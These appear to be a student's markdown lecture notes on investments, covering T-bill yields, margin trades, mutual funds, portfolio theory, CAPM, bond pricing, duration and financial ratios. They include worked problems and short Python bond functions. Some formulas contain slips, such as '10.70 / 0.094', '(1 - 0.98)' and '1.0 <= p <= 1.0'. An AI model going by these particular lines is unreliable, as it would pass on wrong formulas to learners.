Holding period return linearly increased to a year - - yield = 3% / (90 / 365) -- Current yield - - Coupon Payment / Price - -### Questions - -A t-bill has a bank discount yield of 6.81% based on the ask price and 6.9% based on the bid price. The maturity of the bill is 60 days. Find the bid and ask prices of the bill. - -Convert 6.81% and 6.9% for 60 days. 360 days in a year - -- 1000 - 1000 \* 0.0681 \* 60 / 360 = 988.65 -- 1000 - 1000 \* 0.069 \* 60 / 360 = 988.5 -- Therefore the bid-ask spread is just $0.15 - -A u.s. treasury bill with 90-day maturity sells at a bank discount yield of 3%. - -- a. what is the price of the bill? -- b. what is the 90-day holding period return of the bill? -- c. what is the bond-equivalent yield of the bill? -- d. what is the effective annual yield of the bill - -
answer - -- a. 1000 - 1000 \* 0.03 \* 90 / 360 = 992.5 -- b. 1000 / 992.5 - 1= 0.756% -- c. 365 days instead of 360: yield = 0.756% * 365 / 90 = 3.06% -- d. 1.00756 \*\* (365/90) - 1 = 3.1% - -
- -Purchase 300 shares of GameStart at $40/share. Borrows $4,000 from her broker to - help pay for the purchase. Interest rate on loan is 8%. - -a. What is the margin of Dei's account when she first purchases the stock? -b. share price falls to $30 per share at year end, what is the remaining margin (equity) -on the account? -c. margin requirement is 30%, will a margin call occur? -d. What is the rate of return? - -
answer - -a. (300 \* 40 - 4,000) / 300 \* 40 = (12,000 - 4,000) / 12,000 = 66.7% -b. 30 \* 300 - 4,000 \* 1.08 = 4,680 -c. 4680 / 9000 = 52% > 30%, so no -d. (4680 - 8000) / 8000 = -41.50% - -
- -Short sell 1000 shares of GameStart at $40 per share. Initial margin was 50%. -Price rose $10. Stock paid dividend of $2. - -a. What is remaining margin? -b. 30% margin requirement -c. rate of return? - -
answer - -a. Initial equity is 50% \* 40,000 = 20,000. -Final equity is 20,000 + (40 - 50 - 2) \* 1000 = 8,000 -b. 8000 / (50 * 1000) = 16%, so yes -c. (8000 - 20000) / 20000 = -60% - -
- -Consider the following limit order. The last trade was at $50. - -.... - -a. market buy for 200 shares, what price will it be filled at? -b. at what price would the next market order be filled? - -## Investment Companies - -- Mutual funds - - Record keeping and administration - - Pool everyone's money and invest - - Professional management - - Lower transaction costs - - Net Asset Value (market value - liabilities over shares outstanding) -- Unit investment trusts -- REITS - - Real Estate Investment Trusts -- Hedge funds - - Private investors pool assets to be invested by fund managers -- Closed-end funds - - Do not redeem or issue shares - - Constant shares outstanding - - Investors cash out by selling to new investors - - Priced at premium or discount to NAV -- Open-end - - Stand ready to redeem or issue shares at NAV - - Priced at Net Asset Value - - NAVn = NAV_0\[(1 + r)(1 - MER)]^n - - Management Expense Ratio - -### Mutual Fund Investment Policy - -- Money market funds - - Invest in money market securities such as commercial paper, repurchase agreements, or CDs -- Equity funds - - Invest primarily in stock -- Sector funds - - Concentrate on a particular industry or country -- Bond funds - - Specialize in the fixed-income sector -- International funds - - Global and emerging market -- Balanced funds - - Designed to eb candidates for an individual's entire investment portfolio -- Asset allocation and flexible funds - - Hold both stocks and bonds - - Engaged in market timing; not low-risk -- Index funds - - Tries to match the performance of a broad market index -- Liquid alternatives -- ESG funds - - screened against environmental, social, and governance -factors - -Fee Structure: - -1. Management Fees and Operating Expenses -2. Front-end load -3. Back-end load -4. Trailing Commissions - -### Exchange Traded Funds - -- Mirrors an index -- Trades like a stock -- Lower costs -- Tax efficiency - -### Hedge Fund Strategies - -- Directional - - Bets that one sector or another will outperform other sectors -- Non-directional - - Buy one type and sell another - - market neutral -- Statistical arbitrage - - etc - -High-Frequency Strategies - -- Electronic news feeds -- Cross-market arbitrage -- Electronic market making -- Electronic "front running" - -Examples - -1. An open-end fund has a net asset value of $10.70 per share. It is sold with a front-end load of 6%. What is the offering price? - -- $10.70 after offering price, so offering price = 10.70 / 0.094 = 11.38 - -2. The offering price is 12.30 with a front-end load of 5%. What is the NAV? NAV = 12.30 \* 0.95 = $11.69 - -3. You purchased 1,000 shares at $20 with a front-end load of 4%. Securities increased in value by 12%. There is a 1.2% expense ratio. What is the rate of return? - -OFF = 20 / 0.96 = 20.83 - -Final value = 20 \* 1.12 \* (1 - 0.012) = 22.13 - -Rate of return = 22.13 / 20.83 - 1 = 6.24% - -4. Loaded-up fund has an expense ratio of 1.75%. Economy Fund has a front-end load of 2% but an expense ratio of 0.25%. Assume rate of return is 6% before any fees. - -- LU = 1000 \* 1.06 \* (1 - 0.0175) = 1041.45 → 4.1% -- EF = 1000 \* (1 - 0.98) \* 1.06 \* (1 - 0.0025) = 1036.20 → 3.62% - -## Risk & Return - -- Rate of return on zero-coupon bond; r = (100/Price) - 1 - - r = (FV/PV)^(1/m) - 1 -- Annual Percentage (Posted) Rate (APR) -- Effective annual rate (EAR): - - Takes into consideration the effects of compounding - - (1 + APR/n)^n - 1 - - Example - - APR of 4.5%, m = 4 - - 100((1 + 0.045/4)^4 - 1) = 4.58% - - What if you want 4.58%? - - Bank A: 4.58% APR, m = 1 - - Bank B: 4.5%, m = 4 - - Bank C: APR if compound is 12? - - 12 \* (1.0458 ^ (1/12) - 1) = 4.4867% - - Continuous compounding - - FV = euler's constant ^ (rt) - - For a EAR of 4.58%, ln (1 + 4.58%) = r → r = 4.475% - - - -### Interest Rates and Inflation Rates - -- Nominal rate is the growth of your money = 11.5% -- Next year, you get 1.115 -- Coffee is $1 today, but given an [Average annual rate of inflation](https://www.bankofcanada.ca/rates/related/inflation-calculator/) of 3.5%, the coffee will be 1.035. -- You could buy 1 coffee now and 1.077 next year -- Change in purchasing power (PP) = 1.077 / 1 - 1 = 7.7% -- Fisher equation: - - _N_: nominal interest rate - - _re_: expected real interest rate - - _πe_: expected inflation rate - - _t_: tax rate on interest earnings - - Canada: 100% of earnings in non-registered investments is taxed at your marginal income tax rate (T5 slip) - - - - - -- Equilibrium rate of return - -### RIsk and Risk Premium - -- Holding Period Return = (enter price - enter price + dividend) / (enter price) = Capital Gain Yield + Dividend Yield -- E(r) = sum of probability of state + return if state occurs -- Variance: -- Standard Deviation (STD) - -| State | Prob. of State | r in State | Weighted r | Var | -| ------- | ----------------- | --------------- | ---------- | ------------ | -| Excellent | .25 | 0.3100 | (25)(.31) | (3.1% - 9.76%)^ (.25) | -| Good | .45 | 0.1400 | (.45)(.14) | (14% - 9.76%)^ (.45) | -| Poor | .25 | -0.0675 | (.25)(-0.0675) | (6.75% - 9.76%)^ (.25) | -| Crash | .05 | -0.5200 | (.05)(-.52) | (-5% - 9.76%)^ (.05) | -| Total | 1 | N/A | 9.76% | 0.038 - -- STD = sqrt(0.038) = 19.49% -- Based on a normal distribution, we can expect a return of 9.76% +- 19.49% 68% of the time. -- Risk: likelihood of something happening and magnitude -- STD gives us both the magnitude and the likelihood -- Look at historical returns, and calculate the STD of those returns to get the - -- Skewness: positively skewed means a tail on the right -- Kurtosis: how normally distributed data is (fatness of the curve) - -### Calculating the STD of a Stock Tutorial - -1. Download monthly data for 5 years from yahoo finance -2. Keep only date and adjusted Close columns. Adjusted close factors dividends. -3. Make a column called r and use the formula (=X4/X3-1) -4. Calculate average of the rates -5. Create a column called variance and use the formula (=(X3 - $AVERAGE$RATE)^2) - - Or use the VAR formula in Excel -6. Calculate the variance which is the SUM of the column divided by the number of rates MINUS 1 - - In a sample, 1 is subtracted to remove the bias to the mean -7. Square root the variance to ge the standard deviation of the monthly return -8. You can skip the manual calculations and use the VAR and STD formulas provide by Excel. -9. You can get the SKEW of the data by using the SKEW function on the returns -10. Manually calculating the SKEW - - Create a column and instead of squaring the deviation, cube it - - Divide by the number of rates MINUS 1, and then multiply by the standard deviation cubed -11. Use =KURT to get the kurtosis of the rates - - 3 is NORMAL - - The lowe the Kurtosis the tighter in the middle - -### Risk Measures - -- Value at risk - - Loss that will be incurred in the event of an extreme adverse price change change with some given, usually low, probability. Typically, use 1st percentile - - -2.33 STD - - 9.76 - 2.33 \* 19.49 = -35.65% -- Expected Shortfall (ES) -- Lower partial standard deviation (LPSD) - -## Capital Allocation - -- Risk-averse investors consider only risk-free or speculative prospects with positive risk premiums -- Portfolio is more attractive when its expected return is higher, and its risk is lower - - what happens when risk increases along with return - -### Utility Values - -- U = Utility Value -- E(r) = Expected return -- A = Index of the investor's risk aversion -- Variance of returns -- Scaling factor of 0.5 (half year) - - - -### Investor Types - -- Risk-averse: want compensation for risk via a premium. A > 0; -- Risk-neutral; A =0 -- Risk-lovers; A < 0 - -### Mean-Variance Criterion - -- E(rA) >= E(rB) -- STD_A <= STD_B - -### Capital Allocation Across Risky and Risk-Free Portfolios - -- Manipulate the % invested in risk-free vs risk portfolio - -Total market value: $300,000, risk-free: $90,000. - -- Equities: 113,400 -- Bonds: 96,600 - -90 day T-bill is considered the risk-free asset. - -### One Risky Asset and a Risk-Free Asset Portfolios - -- Reward-to-volatility ratio (aka Sharpe ratio) - - Excess return vs. portfolio standard deviation -- Finding weight based on risk appetite - - - -Indifference curves + Capital Allocation Line - -To find the weighting to invest in the risky and risk-free portfolio. - -Now we get optimal allocation for any portfolio. - -### Diversification and Portfolio Risk - -- Market risk - - Market-wide risk source - - Remains even after diversification - - Also called systemic or non-diversifiable -- Firm-specific risk - - Risk that can be eliminated by diversification - - Also called non-systematic risk - -Standard deviation cannot drop below a certain line due to market risk. Portfolio risk could be reduced to only 19.2%. -At 20 stocks, the marginal benefit is very small. Between 20-40 securities, the marginal benefit is needless. - -### Two Risky Assets - -- Covariance of two assets = correlation \* stdD \* stdE -- Variance of portfolio's rate of return - - - -| State | Prob. of State | r D | r E | COV(rD, RE) | -| ------- | ----------------- | --------------- | ---------- | ------------ | -| B | 25% | 2% | -5% | .25\*(2%- E(rd)) (5% - E(re)) | -| N | 50% | 5% | 15% |.25\*(5%- E(rd)) (15% - E(re)) | -| G | 25% | 8% | 30% |.25\*(8%- E(rd)) (30% - E(re)) | -| Total | 1 | E(rd) | E(re) | Cov(rd, re) - -You need to covariance or the correlation to find the standard deviation. - -- pDE = COV(Rd, re) / (rD \* rE) -- 1.0 <= p <= 1.0 -- no diversification if pDE = 1 -- if pDE = -1, you can get the weights using wE = stdD / (stdD + stdE) = 1 - wD - -### Graphing Risk - -- Straight line between two assets if the correlation is 1 -- With perfect hedge (-1), there are two straight lines going to risk = 0 -- In between, risk is never 0 but a sideways parabola -- Find std for the portfolio for every weighting to get a risk allocation -- **Minimum variance portfolio**: portfolio allocation with the lowest risk, but not the optimum -- Calculate the slope of all portfolios - - (Expected return of portfolio - risk free rate) / risk of portfolio \* A - - A = risk appetite -- Calculate the slope of the capital allocation line -- **Tangent portfolio** or **Optimum portfolio** - - Point where the capital allocation line is tangent to the weighting - -### Minimum Variance Portfolio - - - -### Chapter 7 Problems - -1. Three mutual funds: first is a stock fund, second is a long-term government and corporate bond fund, third is a T-bill fund with 8% yield. The covariance is 0.1 between the two risky funds. - -| Fund | Expected Return |Standard Deviation | -| ------- | ----------------- | --------------- | ---------- | -| Stock | 20% | 30% | (25)(.31) | -| Bond | 12% | 15% | (25)(.31) | - -- a. what are the investment proportions in the minimum-variance portfolio - - Using the formula, we get wE =17.39% and wB = 82.61% -- b. what is the expected value and standard deviation of the minimum variance portfolio rate of return - - Expected return is then 13.39% - - Standard deviation (square root of portfolio variance) is then 13.92% (the formula uses covariance) -- c. what are the weights, expected return, and standard deviation of the optimal risky portfolio? - - **wB = (Excess return of the bond \* rE^2 - Excess return of equity \* Cov(rE, rB)) / ( excess return of rB \* rE^2 + excess return of equity \* rB^2 - \[excess return of B + excess return of E]Cov(rB, rE))** (TODO: turn into latex equation) - - wB = 54.8%, wE = 45.2% - - expected rp = 15.61% - - STD(rp) = 16.54% - - What if you wanted to use the risk free? - - expected return of complete portfolio = 14% - - expected return of complete portfolio = wFrF + wPrP - - 14% = (1-wp)8% + wp15.61% - - 14% = 8% + wp (15.61% - 8%) - - wp = (0.14 - 0.08) / (0.1561 - 0.08) - - wp = 0.7884 - -## Capital Asset Pricing Model (CAPM) - -- Securities Market Line represents beta (risk) vs. return -- Capital Allocation Line becomes Capital Market Line - -kinked capital allocation line: when borrowing rate is different (higher) than lending rate - -Assumptions - -1. Individual behaviour - - Investors are rational, mean-variance optimizers - - Their common planning horizon is a single period (holding period is the same) - - Investors all use identical input lists, (homogenous expectations). Publicly available information. -2. Market structure - - Price takers - - Publicly held and public exchanges - - Investors can borrow or lend at a common risk-free rate, and they can take short positions on traded securities - - No taxes - - No transaction costs - -### The Market Portfolio - -- Market weighted all securities (proxy = SP500 index) - -- Beta is the correlation with the market risk -- Required return of a stock = risk free + beta of the stock times the excess return of the market -- Beta = slope of the line of best fit or COV(individual, market) / variance of the market - -- required return goes up when a stock is sold because of the dividend discount model (dividend yield increases) -- alpha is the difference between actual return and required return -- track alpha in order to determine if the model is actually working or not - -### Extensions of the CAPM - -1. Identical input lists -2. ZEro-beta model -3. Labour income and other non-traded assets - -### Chapter 9 Problems - -1. What must be the beta of a portfolio with expected return of a portfolio of 18%, if risk free is 6% and expected market return is 14%? - -Beta = (18% - 6%) / (14% - 6%) = 1.5 - -2. T-bill rate is 4%, market risk premium is 6%. What is the fair return? - - $1 Discount store: 12% forecasted, 8% std, beta = 1.5 - - Fair return is 4% + 1.5 \* 6% = 13% - - Everything $5: 11% expected, 10%, beta is 1.0 - - Fair return is 10% - -3. - -| Scenario | Market Return |Aggressive Stock|Defensive Stock| -| ------- | ------- | ------- | ---------- | -| A | 5% | -2% | 6% | -| B | 25% | 38% |12% | - -What are the betas? Use rise over run to calculate the slope using the two scenarios as data points. - - (38 - (-2)) / (25 - 5) = 2 - - (12 - 6)(25 - 5) = 6/20 - -What is the expected return on each stock if market returns are equally likely? - - Give each scenario a 50% weighting - -If the T-bill is 6%, and the market return is equally likely the be 5% 25%, draw the SML for this economy. - - E(rm) = 15% - - Draw a line from 6% to 25% when Beta is 1 - -Plot the two securities on the SML graph. What are the alphas of each? Characterize each company in the above table as underpriced, overpriced, or properly priced. - - alpha is .3% for the defensive, -6% for the aggressive - -### Assignment 2 - -- Outline strategy -- Actively managed -- Must have to modify at least twice - - Propose modifications - -## Arbitrage Pricing Theory and Factor Models - -- APT developed by Stephen Ross -- Exploitation of mis-pricing for risk-free profits -- Profit has to be made instantaneously and future profit should be 0 -- 80s, 2 second window -- today, 1/20th of a second -- well-diversified portfolios - - cannot rule out violation of the expected return-beta relationship for any particular asset -- does not assume mean variance optimizers -- uses an observable market index - -### Factors of MOdels of Security Returns - -- Excess Return (Ri) = E(Ri) + Beta(iIR) + IR + ei + B(iGDP) -- Betai = Factor sensitivity or factor loading or factor beta -- F = Surprise in macro-economic factor (F could be positive or negative but has expected value of zero) -- ei = Firm specific events (zero expected value) - -### Factor Models of Security Returns (continued) - -- Extra market sources of risk may arise from several sources - -### Different Expected Returns for Same Risk - -Example on slide 13. - -If C is below SML and D is on SML, what do you do? - -- Bp = .5 = wfBf + waBa -- Bp = .5 = wf(0) + wa(1) -- Therefore, 50% weights - -Want to ensure that future value profit is $0 by selling and buying today. - -### Multi-factor APT - -Fama-French Three Factor Model - -- Slide 17 -- Expansion of CAPM -- Size matters - -## Performance - -### Dollar-Weighted Return (IRR) - -### Multiperiod Returns - -- 0: -50 -- 1: -52 -- 1: $2 from initial purchase -- 4: $4 dividend, sell both shares at $52/share - --50 = -51/(1 + r)^2 + 112/(1+r)^2 - -### Time-Weighted Return - -r1 = (53 - 50 + 2)/50 = 10% - -r2 = (54 - 52 + 2)/53 = 5.66% - -rg = (1.1 \* 1.0566)^(0.5) - 1 = 7.81% - -True picture of what occurred. Ethical standard. - -### Adjust Returns for Risk - -- Compare rates of return with those of other investment funds with similar risk characteristics - - Comparison universe -- Sharpe Ratio (reward to volatility) -- Treynor Measure - - Average return - Average risk free divided by weighted average Beta for portfolio -- Jensen's Measure - - ap = rp - \r[rf + Bp(rm - rf)] -- M2 - - Leah Modigliani and her grandfather Franco Modigliani - - mix active portfolio with treasury bills until standard deviation equals that of the index the portfolio is being compared to - - If active portfolio has 1.5 times the standard deviation, add 1/3 bills and 2/3 active portfolio (or .5/1.5 in bills and 1/1.5 in portfolio) - - The M2 value is the risk-adjusted return minus the index return -- Information Ratio - - alpha / (non-systematic risk) - -## Efficient Markets - -- prices fully reflect **available** information - -### Forms - -- Weak-form efficiency. -- Semi-strong efficiency. -- Strong-form efficiency. - -### Random Walks - -- prices are just as likely to go up or down - -### Insider Information and Cumulative Abnormal Returns - -- Food for though. Instead of trading in information, can we predict which company will have news that come out? - -### CNBC Reports - -- midday reports - - positive news already has upticks before release - - negative news has some downticks, but will continue - - does not mean CNBC was first to give the news, but the graph was +- 15 minutes - -### Competition as Source of Efficiency - -- information - - Precious - - Strong competition assures prices reflect information - - Higher investment returns motivates information-gathering - - Diminutive marginal returns on research activity suggest only managers of the largest portfolios will find it useful pursuing - -### Technical Analysis - -### Fundamental Analysis - -- Assess form value that focuses on such determinants as earnings and dividends prospects, expectations for future interest rates, and risk evaluation -- EMH predicts doomed to fail because price reflects available information - - Therefore, analyze information differently than others - -### Active vs Passive Management - -- Active Management - - Expensive strategy - - Suitable only for very large portfolios -- Passive Management - - No attempt to outsmart the market - - Accept EMH - - Index Funds and ETFs - - Low-cost strategy - - Rebalancing - - When new stocks enter or old one leaves - - When there is excess cash like dividends - -### Event Studies - -- Friendly Takeover - - Acquirer has -3% - - +6% for acquired -- Hostile - - Acquirer has +3% - - +20% for acquired - -Many researchers have used a market model to estimate abnormal returns. - -rt = a + b \* rmt + et - -- rt: stock return -- rmt: market rate of return -- et: firm-specific events return -- b: sensitivity to market return -- a: average rate of return if market returns 0 - -- et = rt - (a + brmt) -- stock's return over and above prediction based on broad market movements - -- Expected Return vs. Abnormal Return - -Suppose that the analyst has estimated that a = .05% and b = .8. On a day that the -market goes up by 1%, you would predict from Equation 11.1 that the stock should rise by an expected value of .05% + .8 x 1% = .85%. If the stock actually rises by 2%, the analyst would infer that firm-specific news that day caused an additional stock return of 2% - .85% = 1.15%. This is the abnormal return for the day. - -### Are Markets Efficient? - -- Magnitude issue -- Select bias -- Lucky event - -### Weak-Form Tests - -- Returns over short horizons - - momentum effect - - continues abnormal performance -- returns over long horizons - - reversal effect is the tendency of return to the proper pricing - -### Post-Earnings Announcement Price Drift - -- 10-9 has positive drift -- < 4 has negative drift - -### Anomalies - -- Book-to-market - - Book value divided by market value -- P/E effect - - low-P/E provide higher returns - - Only works on growth companies though - - Good long term fund strategy - - 20 lowest y/y revenue growth -- Neglected-firm effect - - lesser known firms have generated abnormal returns -- Liquidity effect - - Illiquid stocks have a strong tendency to exhibit abnormally high returns - -## Behavioural Finance and Technical Analysis - -Conventional Finance - -- Prices are correct and equal to intrinsic value -- Resources are allocated efficiently -- Consistent with Efficient Market Hypothesis - -Behavioural Finance - -- Irrational investors -- Arbitrageurs are limited and therefore insufficient to force prices to match intrinsic value - -### Behavioural Biases - -- Framing - - Potential gains from low baseline levels -- Mental accounting - - Segregation of certain decisions - > Mental accounting effects also can help explain momentum in stock prices. The house money effect refers to gamblers' greater willingness to accept new bets if they currently are ahead. They think of (i.e., frame) the bet as being made with their "win- nings account," that is, with the casino's and not with their own money, and thus are more willing to accept risk. Analogously, after a stock market run-up, individuals may view investments as large ly funded out of a "capital gains account," become more toler- ant of ris k, discount future cash flows at a lower rate, and thus further push up prices. -- Regret avoidance - - Regret unconventional decisions more -- Affect and feelings - - Investors choosing stocks that matter to them more which drives up prices and drives down returns - -### Technical - -20-day moving average - -Relative strength index - -Security Price / Industry Price Index - -Bollinger band - -Breath: spread between number of stocks that advance and decline in prices. If advanced are outnumber declines, market is seen as stronger. - -### Sentiment Indicators - -Confidence Index - -- Average yield on 10 top-rated corporate bonds divided by the average yield on 10 intermediate-grade corporate bonds. -- Ratio will always be below 1, because intermediate-grade bonds are riskier than top-rated bonds. -- Higher values are bullish since it indicates that intermediate-grade bonds are less relatively risky - -Short interest - -- shares short over shares outstanding - -- share ratio = shares short / daily average trading volume - -Put/Call Ratio - -- Ratio of outstanding put options over outstanding call options -- Rising ratio taken as a sign of broad investor pessimism - -It is possible to perceive patterns that really don't exist - -Trin Ratio - - - -Ratios above 1.0 are considered bearish because the falling stocks -would then have higher average volume than the advancing stocks, indicating net selling pressure.. - -- Data mining - -## Bonds - -- borrowing arrangement -- par value (Face value) paid at the maturity date -- coupon rate (interest payment per dollar of par value) -- bond indenture (the contract between issuer and borrower) - -### Treasury Bonds and Notes - -- Notes: 1 to 10 years -- Bonds: 10 to 30 years -- May be purchased directly from teh Treasury -- $100 to $1,000 - -### Accrued Interest and Quoted Bond Price - -- bond prices that are quoted on financial pages are not actually the prices that investors pay -- quoted price is flat price -- invoice or total price paid is called the dirty price -- A semi-annual coupon bond with 8% coupon rate -- Days passed since last coupon payment is 30 -- Accrued interest = $80/2 \* (30/182.5) = 6.58 - - coupon rate \* par value \* (days / 365) -- Invoice = 990 (quoted) + 6.58 = $996.58 - -### Corporate Bonds - -- Callable bonds: let's the issuer buyback the bond -- Convertible bonds: exchange each bond for a specified number of shares of the firm's stock -- put bond: gives holder option to exchange for par value at some date or extend a number of years -- floating-rate bond has interest rate that is reset periodically according to a specified market rate - -### Preferred stock - -- Promised cash flow stream -- Does not result in bankruptcy -- Dividends owed cumulate -- Rarely gives holders full voting privileges in firm - -### International Bonds - -- Foreign bonds - - Issued by a borrower from a country other than the bond is sold - - Called Maples in Canada, Yankees in the U.S., Samurai bonds in Japan, Bulldog bonds in the U.K. -- Eurobonds - - Denominated in the currency of the borrower but sold in foreign markets - - Not regulated by US - -### Innovation in the Bond Market - -- Inverse floaters are like floating-rate bonds, except coupon rate falls when the general level of interest rates rises -- Asset-backed bonds use income from a specified group of assets to service debt -- Catastrophe bonds (final payment contingent on a catastrophe) -- Indexed bonds are tied to general price index - - Treasury Inflation Protected Securities (TIPS) Indexed Bonds - - The par value of a TIPS bond reflects the change in inflation - - Par value of $1,000 today and inflation of 5% in the year results in a new par value of $1,050 - - Canada Real Return Bonds (RRBs) - -### Bond Pricing - -- Coupon / (1 + r)^t + Par value / (1 + r)^T -- Steady: compound periods, maturity date, coupon rate, face value -- Changing: price and yield to maturity - - Price and Face Value - - When price is above face value, coupon rate > yield - - Coupon rate and yield to maturity - - If yield > coupon rate, price is less than face value - -What if it weren't? Then there would be easy profits to be made. For example, if -investment dealers ever noticed a bond selling for less than the amount at which the -sum of its parts could be sold, they would buy the bond, strip it into stand-alone zero- -coupon securities, sell off the stripped cash flows, and profit by the price difference . If the bond were selling for more than the sum of the values of its individual cash fl ows, they would run the process in reverse: buy the individual zero-coupon securities in the STRIPS market, **reconstitute** (i.e., reassemble) the cash flows into a coupon bond, and se ll the whole bond for more than the cost of the pieces. Bot h bond stripping and -bond reconstitution offer opportunities for arbitrage- the exploitation of mispricing -among two or more securities to clear a riskless economic profi t. Any violation of the -Law of One Price, that identical cash flow bundles must sell for identical prices, gives -rise to arbitrage opportunities. - -### Bond Risks - -- Default risk -- Interest rate risk - - Price will drop because interest rates rise - - Offset my shorter maturity and higher coupon rate -- Reinvestment risk - - If rates change, the reinvestment yields a different return - -### Bond Sensitivity to Yields - -Bond prices are less sensitive at high interest rates and very volatile at lower interest rates. Around par, a small increase in interest rate -will have a large affect on price. Longer dated bonds are more sensitive. - -### Yield to Maturity Example - -8% semi-annual coupon, 30-year bond, $1,276.76. YTM is not the EAR. - -1276.76 = SUM {1..60} 40 / (1 + r)^60 + 1000 / (1 + r)^60 - -### Yield to Call - -- low interest rates means price is flat since risk of repurchase is high -- With high interest rates, the price of the callable bond converges to that of a normal bond since the risk of call is negligible - -### Realized Compound Return vs YTM - -- YTM assumes coupons are reinvested at the YTM -- Realized compound return is also a yield but is assumes that coupon payments are reinvested at the reinvestment rate -- Forecasting the realized compound yield over various holding periods or investment horizons is **horizon analysis** -- Prices of bonds with different coupon rates converge near maturity -- HPR: can only be forecasted - - Investment period - -Example - -- 2-year bond selling at par value that pays an annual 10% coupon with a reinvestment rate of 8% -- Future Value = 1,000 + 100 + 100 \* 1.08 = 1,208 -- Realized compound return: 1,000 \* (1 + r)^2 = 1,208 - -```py -def realized_compound_return(years, price, future_value): - # return (1+r)^years = future_value / price - return (future_value / price) ** (1/years) - 1 - -realized_compound_return(2, 1000, 1208) * 100 # 9.909053312272697 -``` - -### Zero Coupon Bond - -Always trades at a discount since no coupon rate - -### Discriminant Analysis - -- Edward Altman used discriminant analysis to predict bankruptcy -- Financial characteristics are used to assign a score -- z = 3.1 (EBIT / Assets) + 1 (Sales / Assets) + 0.42 ( Equity / Liabilities ) -- Scores between 1.23 and 2.90 are gray area -- Scores above 2.90 are considered safe - -### Bond Indentures - -- Sinking fund - - calls for the issuer to periodically repurchase some proportion of the outstanding prior to maturity -- Subordination clauses restrict the amount of additional borrowing by the firm -- Dividend restrictions limit the payment of dividends by the firms -- Collateral is a particular asset that the bondholder receive if the firm defaults - -### Default Risk and YTM - -- Promised YTD realized only if the firm meets obligation of the bond issue -- Expected YTD must consider the possibility of a default -- Default premium is a differential -- CCC bond default probability is 34% - -### Credit default swaps (CDC) - -- Insurance policy on the default risk of a bond or a loan -- Allows lenders to buy protection against default risk -- Risk structure of interest rates and CDS prices ought to be tightly aligned -- CDS contracts trade on corporate as well as sovereign debt - -### Collateralized Debt Obligations (CDO) - -- Major mechanism to reallocate credit risk in the fixed-income markets -- Establish a legal entity; Structured Investment Vehicle -- Loans are pooled and split into _tranches_ -- Mortgage backed CDOs were an investment disaster in 2007-2009 -- Obligations found in [Slide 14, page 39](https://mylearningspace.wlu.ca/d2l/le/content/493514/viewContent/3392549/View) - -## Fixed Income Term Structure - -### Yield Curve - -- Zero coupon bond yield plotted to maturity -- inverted yield curve: short-term rates are higher than long-term - - higher risk for short-term -- normal yield curve has higher long-term yields - -### Valuing Coupon Bonds - -- Discount based on zero-coupon bond yield for each year -- Find a discount rate (ytm) that equals the future value -- EXCEL: `PV(C85,3*2,-50,-1000)` - -```py -import numpy_financial as npf - -def coupon_bond_price(period_discount_rate, years, coupon_rate, coupon_freq, par_value=1000): - # period discount_rate: AKA effective compound rate; T-bill yield; zero-coupon bond yield - return npf.pv(period_discount_rate, years * coupon_freq, -par_value * coupon_rate / coupon_freq, -par_value) -``` - -### Spot & Forward Rates - -A forward rate is just one year period, but spot rates can be multiple. {a = maturity period in years, b = years into the future}. y_{x} = yield for period x. - - - -### Mortgage Rates - -Can apply to mortgage interest rates as well. - -Interest rates can be fixed at 1, 2, 3, etc. By forwarding rates, we can look at the best deal. - -What does the 1 year rate need to be 4 years from now, to be indifferent. - -Problems: - -- liquidity preference theory: forward rate is higher than expected rate - -### Interpreting the Term Structure - -- yield curve reflects expectations of future interest rates -- forecasts are clouded by liquidity premium -- upward sloping curve - - rates are expected to rise or liquidity premium to hold long term bond -- yield predicts business cycle - - long-term rates tend to rise in anticipation of economic expansion - - inverted yield curve may indicate falling interest rates and signal a recession - -## Interest Rate Sensitivity - -### Short-term vs. Long-term - -short-term (2 year) - -| YTM | Zero | Zero % Change | 10% Annual Coupon | Coupon Bond % Change | -| ------- | ------ | --------------------- | -------------- | ---------------------------------------------- | -| 11% | 811.62 | -1.8 | 982.87 | -1.71 -| 10% | 826.45 | N/A | 1000 | N/A -| 9% | 841.68 | 1.8 | 1017.59 | 1.76 - -Long-term (30y) - -| YTM | Zero | Zero % Change | 10% Annual Coupon | Coupon Bond % Change | -| ------- | ------ | --------------------- | -------------- | ---------------------------------------------- | -| 11% | 4368 | -23.8 | 913.06 | -8.69 -| 10% | 5731 | N/A | 1000 | N/A -| 9% | 7537 | 31.5 | 1102.74 | 10.3 - -### Duration - -1. Calculate the discounted cash flow for each time a cashflow is received -2. Calculate the weights for each discounted cash flow as a percentage of the price (present value) -3. Multiply each weight by the period in time (e.g. cash flow in period 2 multiplied by 2) -4. Macaulay's duration is the sum of the time-weighted discounted cash flows in the previous step - -- weighted each time by the present value of cash flows at each time divided by the price -- multiply each weight by the time - -- duration equals the maturity for a zero coupon bond -- duration < maturity of a coupon bond -- present value of a cash flow at a time divided by the price -- modified duration is the duration discounted by the yield divided by the number of periods in a year - - modified duration goes back a period because of better results -- expected price % change = -D \* (change in interest rate) -- assets with the same duration are equally sensitive -- divide duration by number of periods in a year - -### Convexity - -- sensitivity is different at each duration -- investors like convexity because bond prices don't drop as much but can increase in price faster -- Add 0.5 \* Convexity \* (change in yield)^2 - -### Callable Bonds Duration and Convexity - -### Intrinsic Value vs. Market Price - -If you require a return and the intrinsic value you calculate equal the market value, buy it because it does give you the required return. - -- IV > MV → Buy -- IV < MV → Sell -- IV = MV → Buy - -### Dividend Growth Model - -P = D1 / (k - g) - -### Non-Linear Dividend Growth - -Discount each dividend back until a far enough period (D6) and discount that by a growth rate. - -### Present Value of Growth Opportunities - -P = E / k + Present Value of Growth Opportunity - -P0/E1 = (1 - b) / (k - ROE \* b) - -ROE \* b = sustainable growth rate - - - -k = CAPM, b = retention rate, 1 - b = payout ratio - -Sustainable Growth = b \* ROE - -Use Dupont ratio to justify the P/E. - -Market EV definition = Market Cap + Debt - Cash - -## Financial Statement Analysis - -yoyo: when you say a something went up (not good) - -Time analysis: - -Why did a ratio go up? - -Net Interest Margin - -### Income Statement Ratios - -Gross Profit Margin = Sales - Costs / Sales - -EBITDA Margin = Cash Flow Margin - -Operating Margin = EBIT / Ssales - -Degree of operating leverage ( DOL) = (percentage change in profits) / (percentage change in sales) - -Profit Margin = Profit / Sales - -TIE = EBIT / Interest - -Why change over time. Why different from competitors. - -Anomalies: - -- government support - -### Balance Sheet Ratios - - - -- swapping short-term debt for long-term debt -- possible that accounts receivable spikes due to a big sale -- it went down because you collect faster - - - -- based on liquidity -- Sears took over a year to get rid of inventory - - - -- capital structure -- leverage measure -- could go up because: buyback shares with debt -- just raised debt for long term assets - -### Return Ratios - -Return on Assets - -EBIT / Total Assets - -Return on Net Assets - 